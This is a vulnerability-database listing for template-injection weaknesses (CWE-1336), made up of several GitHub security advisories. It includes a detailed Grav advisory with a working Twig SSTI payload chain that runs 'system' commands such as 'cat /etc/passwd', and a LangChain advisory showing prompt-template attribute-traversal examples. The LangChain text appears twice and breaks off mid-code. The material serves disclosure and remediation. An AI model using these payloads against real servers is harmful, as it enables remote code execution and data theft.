CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
313 vulnerabilities reference this CWE, most recent first.
GHSA-662M-56V4-3R8F
Vulnerability from github – Published: 2025-12-02 01:25 – Updated: 2025-12-02 01:25Summary
A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important
-
First of all this vulnerability is due to weak sanitization in the method
clearDangerousTwig, so any other class that calls it indirectly through for example$twig->processStringto sanitize code is also vulnerable. -
For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
-
I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed
- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.
- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through
evaluate_twig, a guest can takeover the system.
Details
When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
case 'message':
$translated_string = $this->grav['language']->translate($params);
$vars = array(
'form' => $form
);
/** @var Twig $twig */
$twig = $this->grav['twig'];
$processed_string = $twig->processString($translated_string, $vars);
$form->message = $processed_string;
break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization
- Second issue which is the
evaluateandevaluate_twigfunctions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
public static function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
// This allows for a payload like {{ evaluate("read_file('/etc/passwd')") }}
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
We can run the program with this payload:
php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages
- Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[_json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
Content of form:
title: Home
process:
markdown: true
twig: true
form:
name: test
fields:
name:
type: text
label: Name
required: true
buttons:
submit:
type: submit
value: submit
process:
-
message: '{{ evaluate_twig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the
evaluateandevaluate_twigfunctions. - We could add second check to
cleanDangerousTwigwhere we would look for each malicious function no matter it's position:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
foreach ($bad_twig as $func) {
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
}
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
When we run this, the result is:
evaluate_twig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}')
You can see we managed to stop the payload and filter out the malicious functions.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0-beta.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66294"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T01:25:16Z",
"nvd_published_at": "2025-12-01T21:15:52Z",
"severity": "HIGH"
},
"details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig-\u003eprocessString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n case \u0027message\u0027:\n $translated_string = $this-\u003egrav[\u0027language\u0027]-\u003etranslate($params);\n $vars = array(\n \u0027form\u0027 =\u003e $form\n );\n\n /** @var Twig $twig */\n $twig = $this-\u003egrav[\u0027twig\u0027];\n $processed_string = $twig-\u003eprocessString($translated_string, $vars);\n\n $form-\u003emessage = $processed_string;\n break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here\u0027s where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn\u0027t account for nested function calls, which allows us to bypass this function\u0027s sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n public static function cleanDangerousTwig(string $string): string\n {\n if ($string === \u0027\u0027) {\n return $string;\n }\n\n $bad_twig = [\n \u0027twig_array_map\u0027,\n \u0027twig_array_filter\u0027,\n \u0027call_user_func\u0027,\n \u0027registerUndefinedFunctionCallback\u0027,\n \u0027undefined_functions\u0027,\n \u0027twig.getFunction\u0027,\n \u0027core.setEscaper\u0027,\n \u0027twig.safe_functions\u0027,\n \u0027read_file\u0027,\n ];\n \n // This allows for a payload like {{ evaluate(\"read_file(\u0027/etc/passwd\u0027)\") }}\n $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n return $string;\n }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === \u0027\u0027) {\n return $string;\n }\n\n $bad_twig = [\n \u0027twig_array_map\u0027,\n \u0027twig_array_filter\u0027,\n \u0027call_user_func\u0027,\n \u0027registerUndefinedFunctionCallback\u0027,\n \u0027undefined_functions\u0027,\n \u0027twig.getFunction\u0027,\n \u0027core.setEscaper\u0027,\n \u0027twig.safe_functions\u0027,\n \u0027read_file\u0027,\n ];\n $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} #} {# {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\n\nNow we know that our payload definitely works so let\u0027s try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form\u0027s action sections without being in expert mode ( please refer to [it\u0027s report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn\u0027t normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n\n\n\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n markdown: true\n twig: true\nform:\n name: test\n fields:\n name:\n type: text\n label: Name\n required: true\n buttons:\n submit:\n type: submit\n value: submit\n process:\n -\n message: \u0027{{ evaluate_twig(form.value(\u0027\u0027name\u0027\u0027)) }}\u0027\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027id\u0027) }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it\u0027s position:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n if ($string === \u0027\u0027) {\n return $string;\n }\n\n $bad_twig = [\n \u0027twig_array_map\u0027,\n \u0027twig_array_filter\u0027,\n \u0027call_user_func\u0027,\n \u0027registerUndefinedFunctionCallback\u0027,\n \u0027undefined_functions\u0027,\n \u0027twig.getFunction\u0027,\n \u0027core.setEscaper\u0027,\n \u0027twig.safe_functions\u0027,\n \u0027read_file\u0027,\n ];\n $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n foreach ($bad_twig as $func) {\n $string = preg_replace(\u0027/\\b\u0027 . preg_quote($func, \u0027/\u0027) . \u0027(\\s*\\([^)]*\\))?\\b/i\u0027, \u0027{# $1 #}\u0027, $string);\n }\n\n return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.{# #}(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.{# #}\u0027,false) %} #} {# {{ grav.twig.{# #}(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
"id": "GHSA-662m-56v4-3r8f",
"modified": "2025-12-02T01:25:16Z",
"published": "2025-12-02T01:25:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass"
}
GHSA-66C8-9R5R-35HF
Vulnerability from github – Published: 2024-04-22 21:31 – Updated: 2024-07-03 18:36An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.
{
"affected": [],
"aliases": [
"CVE-2024-32407"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-22T19:15:46Z",
"severity": "HIGH"
},
"details": "An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.",
"id": "GHSA-66c8-9r5r-35hf",
"modified": "2024-07-03T18:36:31Z",
"published": "2024-04-22T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32407"
},
{
"type": "WEB",
"url": "https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2024040049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6965-RJH7-M8M8
Vulnerability from github – Published: 2025-12-17 15:34 – Updated: 2025-12-17 18:31Netaxis API Orchestrator (APIO) before 0.19.3 allows server side template injection (SSTI).
{
"affected": [],
"aliases": [
"CVE-2022-23851"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-17T15:15:48Z",
"severity": "CRITICAL"
},
"details": "Netaxis API Orchestrator (APIO) before 0.19.3 allows server side template injection (SSTI).",
"id": "GHSA-6965-rjh7-m8m8",
"modified": "2025-12-17T18:31:33Z",
"published": "2025-12-17T15:34:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23851"
},
{
"type": "WEB",
"url": "https://blog.tig00r.me/post/CVE-2022-23851"
},
{
"type": "WEB",
"url": "https://www.netaxis.be/products/apio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6P6P-X42G-J3HV
Vulnerability from github – Published: 2025-12-19 03:31 – Updated: 2025-12-19 03:31A Server-Side Template Injection (SSTI) vulnerability in the MDX Rendering Engine in Mintlify Platform before 2025-11-15 allows remote attackers to execute arbitrary code via inline JSX expressions in an MDX file.
{
"affected": [],
"aliases": [
"CVE-2025-67843"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-19T02:16:08Z",
"severity": "HIGH"
},
"details": "A Server-Side Template Injection (SSTI) vulnerability in the MDX Rendering Engine in Mintlify Platform before 2025-11-15 allows remote attackers to execute arbitrary code via inline JSX expressions in an MDX file.",
"id": "GHSA-6p6p-x42g-j3hv",
"modified": "2025-12-19T03:31:18Z",
"published": "2025-12-19T03:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67843"
},
{
"type": "WEB",
"url": "https://kibty.town/blog/mintlify"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=46317098"
},
{
"type": "WEB",
"url": "https://www.mintlify.com/blog/working-with-security-researchers-november-2025"
},
{
"type": "WEB",
"url": "https://www.mintlify.com/docs/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6QV9-48XG-FC7F
Vulnerability from github – Published: 2025-11-20 17:42 – Updated: 2025-12-09 17:15Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-corepackage- Template formats:
- F-string templates (
template_format="f-string") - Vulnerability fixed - Mustache templates (
template_format="mustache") - Defensive hardening - Jinja2 templates (
template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
- Access Python object attributes and internal properties via attribute traversal
- Extract sensitive information from object internals (e.g., __class__, __globals__)
- Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
# Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
# Previously returned
# >>> result.messages[0].content
# >>> 'str'
2. Mustache Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
# Previously returned: "HumanMessage" (getattr() exposed internals)
3. Jinja2 Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
# Could access non-dunder attributes/methods on objects
Root Cause
-
F-string templates: The implementation used Python's
string.Formatter().parse()to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax: ```python from string import Formattertemplate = "{msg.class} and {x}" print([var_name for (, var_name, , _) in Formatter().parse(template)]) # Returns: ['msg.class', 'x']
`` The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g.,{obj.class.name}or{obj.method.globals[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with(), they do support[]indexing, which could allow traversal through dictionaries likeglobalsto reach sensitive objects. 2. **Mustache templates**: By design, usedgetattr()as a fallback to support accessing attributes on objects (e.g.,{{user.name}}on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects 3. **Jinja2 templates**: Jinja2's defaultSandboxedEnvironmentblocks dunder attributes (e.g.,class`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application: - Accepts template strings from untrusted sources (user input, external APIs, databases) - Dynamically constructs prompt templates based on user-provided patterns - Allows users to customize or create prompt templates
Example vulnerable code:
# User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
Low/No Risk Scenarios
You are NOT affected if: - Template strings are hardcoded in your application code - Template strings come only from trusted, controlled sources - Users can only provide values for template variables, not the template structure itself
Example safe code:
# Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
# User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
- Added validation to enforce that variable names must be valid Python identifiers
- Rejects syntax like
{obj.attr},{obj[0]}, or{obj.__class__} - Only allows simple variable names:
{variable_name}
# After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
- Replaced
getattr()fallback with strict type checking - Only allows traversal into
dict,list, andtupletypes - Blocks attribute access on arbitrary Python objects
# After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
# Returns: "" (access blocked)
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
- Introduced
_RestrictedSandboxedEnvironmentthat blocks ALL attribute/method access - Only allows simple variable lookups from the context dictionary
- Raises
SecurityErroron any attribute access attempt
# After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
# Raises SecurityError: Access to attributes is not allowed
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
- Audit your code for any locations where template strings come from untrusted sources
- Update to the patched version of
langchain-core - Review template usage to ensure separation between template structure and user data
Best Practices
- Consider if you need templates at all - Many applications can work directly with message objects (
HumanMessage,AIMessage, etc.) without templates## Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-corepackage- Template formats:
- F-string templates (
template_format="f-string") - Vulnerability fixed - Mustache templates (
template_format="mustache") - Defensive hardening - Jinja2 templates (
template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
- Access Python object attributes and internal properties via attribute traversal
- Extract sensitive information from object internals (e.g., __class__, __globals__)
- Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
# Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
# Previously returned
# >>> result.messages[0].content
# >>> 'str'
2. Mustache Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
# Previously returned: "HumanMessage" (getattr() exposed internals)
3. Jinja2 Template Injection
Before Fix:
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
# Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
# Could access non-dunder attributes/methods on objects
Root Cause
-
F-string templates: The implementation used Python's
string.Formatter().parse()to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax: ```python from string import Formattertemplate = "{msg.class} and {x}" print([var_name for (, var_name, , _) in Formatter().parse(template)]) # Returns: ['msg.class', 'x']
`` The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g.,{obj.class.name}or{obj.method.globals[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with(), they do support[]indexing, which could allow traversal through dictionaries likeglobalsto reach sensitive objects. 2. **Mustache templates**: By design, usedgetattr()as a fallback to support accessing attributes on objects (e.g.,{{user.name}}on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects 3. **Jinja2 templates**: Jinja2's defaultSandboxedEnvironmentblocks dunder attributes (e.g.,class`) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application: - Accepts template strings from untrusted sources (user input, external APIs, databases) - Dynamically constructs prompt templates based on user-provided patterns - Allows users to customize or create prompt templates
Example vulnerable code:
# User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
Low/No Risk Scenarios
You are NOT affected if: - Template strings are hardcoded in your application code - Template strings come only from trusted, controlled sources - Users can only provide values for template variables, not the template structure itself
Example safe code:
# Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
# User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
- Added validation to enforce that variable names must be valid Python identifiers
- Rejects syntax like
{obj.attr},{obj[0]}, or{obj.__class__} - Only allows simple variable names:
{variable_name}
# After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
- Replaced
getattr()fallback with strict type checking - Only allows traversal into
dict,list, andtupletypes - Blocks attribute access on arbitrary Python objects
# After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
# Returns: "" (access blocked)
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
- Introduced
_RestrictedSandboxedEnvironmentthat blocks ALL attribute/method access - Only allows simple variable lookups from the context dictionary
- Raises
SecurityErroron any attribute access attempt
# After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
